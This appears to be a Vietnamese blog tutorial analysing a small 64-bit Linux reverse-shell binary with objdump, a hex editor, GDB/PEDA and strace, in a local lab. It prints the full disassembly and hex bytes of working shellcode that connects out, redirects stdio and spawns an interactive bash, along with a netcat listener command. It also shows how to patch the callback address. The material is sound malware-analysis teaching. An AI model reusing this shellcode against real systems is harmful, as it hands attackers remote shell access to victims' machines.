Reverse

Binary 106: Reverse Shell Analysis

category
Reverse
date
Mar 20, 2021
slug
binary-106-reverse-shell-analysis
author
status
Public
tags
binary analysis
reverse
summary
Phân tích một reverse shell cơ bản.
type
Post
thumbnail
updatedAt
Mar 1, 2023 08:54 AM
Bài trước đã đi phân tích một BindShell đơn giản, đặc điểm của loại chương trình này là nó mở cổng phía Victim sau đó đợi kết nối từ bên ngoài đến. Điều này làm lộ rõ những hạn chế nhất định như: Dễ bị các AV phát hiện, không bypass được Firewall,.. Trong thế giới thực, thường Firewall sẽ chỉ cho phép truy cập thông qua một số port nhất định. Bài này sẽ đi phân tích một Reverse Shell đơn giản, không như Bindshell mở cổng trên máy Victim, ReverseShell sẽ chủ động kết nối ra bên ngoài mạng đến một Server đã mở cổng và lắng nghe sẵn do hacker dựng lên.

1. Trích xuất thông tin tự động

Trong bài Phân tích BindShell trước đó, ở bước thu thập thông tin, chúng ta đã sử dụng các công cụ có sẵn như: file, strings, objdump, readelf, hexdump,.. để trích xuất thông tin cũng như phân tích một cách thủ công các tệp ELF. Phần này sẽ sử dụng Bash Script để tự động hóa các bước này.
Chạy Bash Script để lấy nhanh kết quả:
$ ./bac-automation.sh ch07-revshell64 "output-$(date +%m-%d-%Y-%H:%M:%S).txt" FILE TYPE INFORMATION ch07-revshell64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped ...
Nhìn vào kết quả được lưu trong tệp *.txt, ta thấy chuỗi: "ch07-revshell64.nasm"
STRINGS INFORMATION ////bashSH | /////binSH | Pfh-iH | PVWH | ch07-revshell64.nasm | __bss_start | _edata | _end | .symtab | .strtab | .shstrtab | .text |
Có duy nhất một Section .text
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x000121 0x000121 R E 0x200000 Section to Segment mapping: Segment Sections... 00 .text
Rất ít thông tin trong Symbol Table:
Symbol table '.symtab' contains 7 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000400080 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FILE LOCAL DEFAULT ABS ch07-revshell64.nasm 3: 0000000000400080 0 NOTYPE GLOBAL DEFAULT 1 _start 4: 0000000000600121 0 NOTYPE GLOBAL DEFAULT 1 __bss_start 5: 0000000000600121 0 NOTYPE GLOBAL DEFAULT 1 _edata 6: 0000000000600128 0 NOTYPE GLOBAL DEFAULT 1 _end
Như vậy bước đầu ta có thể xác định được tệp ELF này được viết bằng Assembly, chương trình rất tinh gọn, không có nhiều thông tin dư thừa đi kèm.

2. Phân tích tĩnh Objdump

Tương tự như khi phân tích bindshell, tôi vẫn dùng objdump là công cụ chính khi phân tích tĩnh reverse shell. Nhìn vào output của objdump có thể thấy nó không nhận diện được các khối mã như với bindshell trước đó, vì đây là x86_64 Assembly. Do vậy, chúng ta sẽ tự chia các đoạn code thành các khối, với mối khối kết thúc bằng lệnh Syscall, lấy địa chỉ đầu làm tên khối.
Kết quả của objdump khi disassembly reverse shell:
OBJDUMP EXECUTABLE ch07-revshell64: file format elf64-x86-64 Disassembly of section .text: ; <sub_400080> 0000000000400080 <_start>: 400080: 48 31 c0 xor rax,rax 400083: b0 29 mov al,0x29 400085: 48 31 ff xor rdi,rdi 400088: 40 80 c7 02 add dil,0x2 40008c: 48 31 f6 xor rsi,rsi 40008f: 48 83 c6 01 add rsi,0x1 400093: 48 31 d2 xor rdx,rdx 400096: 0f 05 syscall ; <sub_400098> 400098: 48 89 c7 mov rdi,rax 40009b: 48 31 c0 xor rax,rax 40009e: 50 push rax 40009f: c7 44 24 fc 0a 00 02 mov DWORD PTR [rsp-0x4],0xf02000a 4000a6: 0f 4000a7: 66 c7 44 24 fa 7a 69 mov WORD PTR [rsp-0x6],0x697a 4000ae: 89 44 24 f6 mov DWORD PTR [rsp-0xa],eax 4000b2: c6 44 24 f8 02 mov BYTE PTR [rsp-0x8],0x2 4000b7: 48 83 ec 08 sub rsp,0x8 4000bb: 48 31 c0 xor rax,rax 4000be: b0 2a mov al,0x2a 4000c0: 48 89 e6 mov rsi,rsp 4000c3: 48 31 d2 xor rdx,rdx 4000c6: 48 83 c2 10 add rdx,0x10 4000ca: 0f 05 syscall ; <sub_4000cc> 4000cc: 48 31 c0 xor rax,rax 4000cf: b0 21 mov al,0x21 4000d1: 48 31 f6 xor rsi,rsi 4000d4: 0f 05 syscall 4000d6: 48 31 c0 xor rax,rax 4000d9: b0 21 mov al,0x21 4000db: 48 ff c6 inc rsi 4000de: 0f 05 syscall 4000e0: 48 31 c0 xor rax,rax 4000e3: b0 21 mov al,0x21 4000e5: 48 ff c6 inc rsi 4000e8: 0f 05 syscall ; <sub_4000ea> 4000ea: 48 31 c0 xor rax,rax 4000ed: 50 push rax 4000ee: 48 31 db xor rbx,rbx 4000f1: 48 bb 2f 2f 2f 2f 62 movabs rbx,0x687361622f2f2f2f 4000f8: 61 73 68 4000fb: 53 push rbx 4000fc: 48 bb 2f 2f 2f 2f 2f movabs rbx,0x6e69622f2f2f2f2f 400103: 62 69 6e 400106: 53 push rbx 400107: 48 89 e7 mov rdi,rsp 40010a: 50 push rax 40010b: 66 68 2d 69 pushw 0x692d 40010f: 48 89 e6 mov rsi,rsp 400112: 50 push rax 400113: 56 push rsi 400114: 57 push rdi 400115: 48 89 e6 mov rsi,rsp 400118: 48 31 d2 xor rdx,rdx 40011b: 48 83 c0 3b add rax,0x3b 40011f: 0f 05 syscall
Giải thích:
Phân tích <sub_400080>:
  • Tại 400083: AL=0x29 ⇒ Tra cứu trong: unistd_64.h ta được: #define __NR_socket 41 ⇒ Tra cứu trong Man Page ta được: int socket(int domain, int type, int protocol);
  • Tại 400080, 400085, 40008c, 400093: Là các lệnh reset các thanh ghi RAX, RDI, RSI, RDX. Đây đều là các thanh ghi thiết lập các Param và System Call Number cho hàm socket. Hàm này khi được gọi thành công sẽ trả về một File Descriptor - sockfd, lưu vào RAX.
  • Tại 400088, 40008f, 400093: Khởi tạo giá trị cho các Param 1 (PF_INET), Param 2 (SOCK_STREAM), Param 3 (IPPROTO_IP) của hàm socket. Điểm khác biệt ở đây so với bindshell lần trước là nó ko dùng TCP mà dùng IP.
  • Tại 400096: Thực hiện System Call thông qua lệnh syscall
  • Như vậy khối code thứ nhất thực hiện khởi tạo socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
Phân tích <sub_400098>:
  • Tại 400098: sockfd được lưu vào RDI.
  • Tại 40009e: Ta thấy chương trình dùng lệnh PUSH để đẩy một thanh ghi 64-bits lên Stack nhưng bên dưới từ 4000a7 đến 4000b2 nó lại không dùng lệnh này mà thay vào đó là lệnh MOV. Lý do là vì trong x86_64 Assembly lệnh PUSH chỉ đẩy được thanh ghi 64-bits, 16-bits lên Stack, với 32-bits sẽ không hợp lệ.
  • Tại 40009f: Ta thử decode dữ liệu được đưa lên Stack, dữ liệu không hiển thị được như mong muốn như khi phân tích bindshell như bài trước. Lý do là vì đây không phải dạng chuỗi ký tự có thể hiển thị được, dữ liệu này là một địa chỉ IP đã được convert sang dạng hex. Ta sẽ decode như sau:
    • $ python >>> '0f02000a'.decode('hex')[::-1] '\n\x00\x02\x0f' >>> import socket >>> socket.inet_ntoa('0a00020f'.decode('hex')) '10.0.2.15'
  • Khi đã có địa chỉ IP mà ReverShell kết nối đến, vậy ta hoàn toàn có thể đoán tại 4000a7 là đưa Port number lên Stack. Decode như sau:
    • $ python >>> int('7a69', 16) 31337 >>> 0x7a69 31337
  • Từ 4000ae đến 4000c6: Một loạt các thao tác thiết lập Stack phức tạp được thực hiện, phần này tôi sẽ không trình bày kỹ vì nó rất dài dòng. Về cơ bản chúng ta chỉ cần nắm được nguyên tắc trước khi thực hiện Syscall, chương trình sẽ thực hiện thiết lập các tham số theo thứ tự đã trình bày ở bài: “Binary 103: Linux 64-bit Assembly” trước đó đã trình bày. Sang bước sau phân tích động, khi chúng ta quan sát trạng thái các thanh ghi, ngăn xếp,.. khi đó sẽ dễ hình dung hơn.
  • Như vậy với khối code này ta sẽ có được như sau: AL=0x2a là System Call Number ⇒ #define __NR_connect 42 ⇒ Kiểm tra trong Man Page: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);. Param 1 (RDI) = 0x3 (sockfd), Param 2 (RSI) = {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, Param 3 (RDX) = 16.
  • Tóm lại khối này thực hiện kết nối đến máy chủ của Hacker: connect(sockfd, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, 16)
Phân tích <sub_4000cc>:
  • Khối này thực hiện 3 lần gọi: dup2(3, 0), dup2(3, 1), dup2(3, 2) tương đương dup2(sockfd, STDIN), dup2(sockfd, STDOUT), dup2(sockfd, STDERR).
Phân tích <sub_4000ea>:
  • Tại 4000f1, 4000fc, 40010b: đẩy dữ liệu dạng hex lên Stack. Decode các giá trị hex này:
    • $ python >>> a = '6e69622f2f2f2f2f'.decode('hex')[::-1] >>> b = '687361622f2f2f2f'.decode('hex')[::-1] >>> final = a + b >>> final '/////bin////bash'
  • Trên Linux, hệ thống chấp nhận gọi một chương trình với nhiều ký tự '/', chương trình shell này lợi dụng để điền vào nhiều ký tự đó sao cho vừa đủ với kích thước 64-bits của thanh ghi. Tương tự tại 40010b, decode dữ liệu đưa lên Stack ta được:
    • $ python >>> '692d'.decode('hex')[::-1] '-i'
  • Tại 400115: RSI trỏ vào đỉnh Stack ⇒ trỏ đến chuỗi: "/////bin////bash -i".
  • Tại 40011b: System Call Number được sao chép vào RAX. RAX=0x3b#define __NR_execve 59int execve(const char *filename, char *const argv[], char *const envp[]);
  • Tại 40011f: Thực hiện System Call
  • Như vậy khối này sẽ gọi hàm execve để gọi ra Bash Shell.

3. Patching binary

Nhìn vào kết quả phân tích tĩnh ở trên có thể thấy được chương trình shell cố gắng kết nối đến máy có địa chỉ IP: 10.0.2.15, Port: 31337. Đây là một địa chỉ IP cục bộ. Như vậy để chương trình có thể hoạt động đúng và chính xác với những gì mong muốn trong bước phân tích động, chúng ta có 2 cách:
  1. Tạo một máy ảo giả lập làm máy của Hacker, đặt địa chỉ IP của máy đó thành 10.0.2.15, sau đó sử dụng netcat chạy lắng nghe trên Port 31337.
  1. Sửa đổi Binary của Shell, thay 10.0.2.15 thành 127.0.0.1 hoặc 127.1.1.1, sau đó dùng netcat lắng nghe trên 127.0.0.1:31337. Lúc này revershell thay vì kết nối đến địa chỉ IP của hacker thì sẽ kết nối đến Localhost. Cách này sẽ không mất công thiết lập máy ảo mới ⇒ Tôi sẽ sử dụng cách này.
Sử dụng bất kỳ một chương trình HexEditor nào đó, ví dụ: Hexedit, 010 Editor, HxD,.v.v.. Mở tệp sau đó search chuỗi byte sau: "0A00020F". Đây là địa chỉ ip đã phân tích được ở bước trước.
$ hexedit ch07-revshell64 00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 80 00 40 00 .ELF..............>.......@. 0000001C 00 00 00 00 40 00 00 00 00 00 00 00 20 02 00 00 00 00 00 00 00 00 00 00 40 00 38 00 ....@....... ...........@.8. 00000038 01 00 40 00 05 00 02 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 ..@.......................@. 00000054 00 00 00 00 00 00 40 00 00 00 00 00 21 01 00 00 00 00 00 00 21 01 00 00 00 00 00 00 ......@.....!.......!....... 00000070 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 48 31 C0 B0 29 48 31 FF 40 80 C7 02 .. .............H1..)H1.@... 0000008C 48 31 F6 48 83 C6 01 48 31 D2 0F 05 48 89 C7 48 31 C0 50 C7 44 24 FC 0A 00 02 0F 66 H1.H...H1...H..H1.P.D$.....f 000000A8 C7 44 24 FA 7A 69 89 44 24 F6 C6 44 24 F8 02 48 83 EC 08 48 31 C0 B0 2A 48 89 E6 48 .D$.zi.D$..D$..H...H1..*H..H 000000C4 31 D2 48 83 C2 10 0F 05 48 31 C0 B0 21 48 31 F6 0F 05 48 31 C0 B0 21 48 FF C6 0F 05 1.H.....H1..!H1...H1..!H.... 000000E0 48 31 C0 B0 21 48 FF C6 0F 05 48 31 C0 50 48 31 DB 48 BB 2F 2F 2F 2F 62 61 73 68 53 H1..!H....H1.PH1.H.////bashS 000000FC 48 BB 2F 2F 2F 2F 2F 62 69 6E 53 48 89 E7 50 66 68 2D 69 48 89 E6 50 56 57 48 89 E6 H./////binSH..Pfh-iH..PVWH.. 00000118 48 31 D2 48 83 C0 3B 0F 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 H1.H..;..................... 00000134 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 01 00 80 00 40 00 00 00 00 00 ......................@..... 00000150 00 00 00 00 00 00 00 00 01 00 00 00 04 00 F1 FF 00 00 00 00 00 00 00 00 00 00 00 00 ............................ 0000016C 00 00 00 00 1B 00 00 00 10 00 01 00 80 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............@............. 00000188 16 00 00 00 10 00 01 00 21 01 60 00 00 00 00 00 00 00 00 00 00 00 00 00 22 00 00 00 ........!.`............."... 000001A4 10 00 01 00 21 01 60 00 00 00 00 00 00 00 00 00 00 00 00 00 29 00 00 00 10 00 01 00 ....!.`.............)....... 000001C0 28 01 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 63 68 30 37 2D 72 65 76 73 68 65 (.`..............ch07-revshe 000001DC 6C 6C 36 34 2E 6E 61 73 6D 00 5F 5F 62 73 73 5F 73 74 61 72 74 00 5F 65 64 61 74 61 ll64.nasm.__bss_start._edata 000001F8 00 5F 65 6E 64 00 00 2E 73 79 6D 74 61 62 00 2E 73 74 72 74 61 62 00 2E 73 68 73 74 ._end...symtab..strtab..shst 00000214 72 74 61 62 00 2E 74 65 78 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 rtab..text.................. 00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............................ 0000024C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B 00 00 00 01 00 00 00 ............................ 00000268 06 00 00 00 00 00 00 00 80 00 40 00 00 00 00 00 80 00 00 00 00 00 00 00 A1 00 00 00 ..........@................. 00000284 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............................ 000002A0 11 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FE 01 00 00 ............................ 000002BC 00 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ....!....................... 000002D8 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............................ 000002F4 00 00 00 00 28 01 00 00 00 00 00 00 A8 00 00 00 00 00 00 00 04 00 00 00 03 00 00 00 ....(....................... 00000310 08 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 09 00 00 00 03 00 00 00 00 00 00 00 ............................ 0000032C 00 00 00 00 00 00 00 00 00 00 00 00 D0 01 00 00 00 00 00 00 2E 00 00 00 00 00 00 00 ............................ 00000348 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........................
Trong HexEdit để search một chuỗi hex bytes, nhấn Ctrl+S sau đó điền chuỗi bytes viết liền không có khoảng trắng vào để tìm kiếm. Kết quả ta tìm được chuỗi địa chỉ ip có vị trí bắt đầu tại 0xA3 đến 0xA6. Sửa các chuỗi bytes này thành: "7F010101", đây là địa chỉ IP: 127.1.1.1 nó tương tự như 127.0.0.1 sau khi chuyển đổi. Ctrl+X để lưu và thoát.
Kiểm tra bằng cách dùng objdump để disassembly tệp đã được sửa, và quan sát kết quả dưới đây:
$ objdump -d -M intel ch07-revshell64-edited ... 400098: 48 89 c7 mov rdi,rax 40009b: 48 31 c0 xor rax,rax 40009e: 50 push rax 40009f: c7 44 24 fc 7f 01 01 mov DWORD PTR [rsp-0x4],0x101017f 4000a6: 01 ...
Quan sát tại 40009f, chúng ta đã sửa đổi thành công địa chỉ IP của Shell. Lúc này khi chạy chương trình nó sẽ kết nối đến 127.1.1.1:31337

4. Phân tích động với GDB/PEDA/STRACE

Trước tiên hãy chạy netcat lắng nghe trên Port 31337 như sau:
$ nc -lnvp 31337 Listening on [0.0.0.0] (family 0, port 31337)
Kiểm tra lại, đảm bảo những gì ta thực hiện là chính xác:
$ sudo netstat -plant | grep 31337 tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 58451/nc
Sử dụng GDB/PEDA để debugging chương trình Reverse Shell đã được Patched địa chỉ IP ở bước trước:
$ gdb ch07-revshell64-edited gdb-peda$ start gdb-peda$ pdisass _start Dump of assembler code for function _start: => 0x0000000000400080 <+0>: xor rax,rax 0x0000000000400083 <+3>: mov al,0x29 0x0000000000400085 <+5>: xor rdi,rdi 0x0000000000400088 <+8>: add dil,0x2 0x000000000040008c <+12>: xor rsi,rsi 0x000000000040008f <+15>: add rsi,0x1 0x0000000000400093 <+19>: xor rdx,rdx 0x0000000000400096 <+22>: syscall 0x0000000000400098 <+24>: mov rdi,rax 0x000000000040009b <+27>: xor rax,rax 0x000000000040009e <+30>: push rax 0x000000000040009f <+31>: mov DWORD PTR [rsp-0x4],0x101017f 0x00000000004000a7 <+39>: mov WORD PTR [rsp-0x6],0x697a 0x00000000004000ae <+46>: mov DWORD PTR [rsp-0xa],eax 0x00000000004000b2 <+50>: mov BYTE PTR [rsp-0x8],0x2 0x00000000004000b7 <+55>: sub rsp,0x8 0x00000000004000bb <+59>: xor rax,rax 0x00000000004000be <+62>: mov al,0x2a 0x00000000004000c0 <+64>: mov rsi,rsp 0x00000000004000c3 <+67>: xor rdx,rdx 0x00000000004000c6 <+70>: add rdx,0x10 0x00000000004000ca <+74>: syscall 0x00000000004000cc <+76>: xor rax,rax 0x00000000004000cf <+79>: mov al,0x21 0x00000000004000d1 <+81>: xor rsi,rsi 0x00000000004000d4 <+84>: syscall 0x00000000004000d6 <+86>: xor rax,rax 0x00000000004000d9 <+89>: mov al,0x21 0x00000000004000db <+91>: inc rsi 0x00000000004000de <+94>: syscall 0x00000000004000e0 <+96>: xor rax,rax 0x00000000004000e3 <+99>: mov al,0x21 0x00000000004000e5 <+101>: inc rsi 0x00000000004000e8 <+104>: syscall 0x00000000004000ea <+106>: xor rax,rax 0x00000000004000ed <+109>: push rax 0x00000000004000ee <+110>: xor rbx,rbx 0x00000000004000f1 <+113>: movabs rbx,0x687361622f2f2f2f 0x00000000004000fb <+123>: push rbx 0x00000000004000fc <+124>: movabs rbx,0x6e69622f2f2f2f2f 0x0000000000400106 <+134>: push rbx 0x0000000000400107 <+135>: mov rdi,rsp 0x000000000040010a <+138>: push rax 0x000000000040010b <+139>: pushw 0x692d 0x000000000040010f <+143>: mov rsi,rsp 0x0000000000400112 <+146>: push rax 0x0000000000400113 <+147>: push rsi 0x0000000000400114 <+148>: push rdi 0x0000000000400115 <+149>: mov rsi,rsp 0x0000000000400118 <+152>: xor rdx,rdx 0x000000000040011b <+155>: add rax,0x3b 0x000000000040011f <+159>: syscall End of assembler dump.
Đặt Breakpoint tại một số điểm gọi Syscall sau: _start+22, _start+74 và _start+159. Kiểm tra lại một lượt các breakpoint đã set bằng lệnh info breakpoints. Cuối cùng thực thi lệnh: continue
gdb-peda$ br * _start+22 Breakpoint 2 at 0x400096 gdb-peda$ br * _start+74 Breakpoint 3 at 0x4000ca gdb-peda$ br * _start+159 Breakpoint 4 at 0x40011f gdb-peda$ info breakpoints Num Type Disp Enb Address What 2 breakpoint keep y 0x0000000000400096 <_start+22> 3 breakpoint keep y 0x00000000004000ca <_start+74> 4 breakpoint keep y 0x000000000040011f <_start+159> gdb-peda$ continue ...
Tại điểm đặt breakpoint thứ 1, nơi chương trình bắt đầu thiết lập Socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
notion image
Nhập lệnh continue để tiếp tục nhảy đến breakpoint thứ 2 đã đặt. Tại đây, chương trình thực hiện gọi hàm: connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); với tham số *addr (RSI) đang trỏ đến một cấu trúc dữ liệu bao gồm địa chỉ IP 127.1.1.1 đã đc Patched và số hiệu Port là 31337. PEDA nhận diện các Guessed arguments rất trực quan. Hãy xem hình dưới:
notion image
Kiểm tra Logs của netcat sẽ thấy như sau, báo hiệu có một client đã kết nối đến:
$ nc -lnvp 31337 Listening on [0.0.0.0] (family 0, port 31337) Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45662)
Tương tự, ta sẽ đến được breakpoint thứ 3 đã đặt. Tại đây quan sát trạng thái thanh ghi và Stack. Chương trình thực hiện gọi hàm execve với tham số truyền vào là chuỗi: "/////bin////bash -i". Quan sát hình dưới đây để thấy trực quan hơn:
notion image
Như vậy trong phần này chúng ta đã đi phân tích một Reverse Shell 64-bits đơn giản. Ngoài ra có thể sử dụng Strace để phân tích nhanh hơn và cũng là để xác minh lại những gì chúng ta đã phân tích tĩnh và động trước đó. Có nhiều công cụ và cách thức khác nhau để giải quyết một vấn đề sẽ tốt hơn là chỉ có một công cụ cho một vấn đề:
Khởi chạy netcat:
$ nc -lnvp 31337 Listening on [0.0.0.0] (family 0, port 31337)
Kiểm tra với netstat:
$ sudo netstat -plant | grep -i 'listen' tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 1123/dnsmasq tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1013/sshd tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 55231/cupsd tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 58606/nc ...
Monitor bằng Strace. Để tránh "nhiễu" trong kết quả, tôi sẽ lọc theo một nhóm các API nhất định:
$ strace -itx -e trace=process,network ./ch07-revshell64-edited 17:48:54 [00007f7fe75547f7] execve("./ch07-revshell64-edited", ["./ch07-revshell64-edited"], [/* 22 vars */]) = 0 17:48:54 [0000000000400098] socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 17:48:54 [00000000004000cc] connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("127.1.1.1")}, 16) = 0 17:48:54 [0000000000400121] execve("/////bin////bash", ["/////bin////bash", "-i"], NULL) = 0 ...
Kiểm tra lại logs trên netcat:
$ nc -lnvp 31337 Listening on [0.0.0.0] (family 0, port 31337) Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45666) To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. osboxes@bac64:/home/osboxes$ exit
Kết quả trên Strace:
$ strace -itx -e trace=process,network ./ch07-revshell64-edited ... 17:48:57 [00007fe6d14077c8] exit_group(0) = ? 17:48:57 [????????????????] +++ exited with 0 +++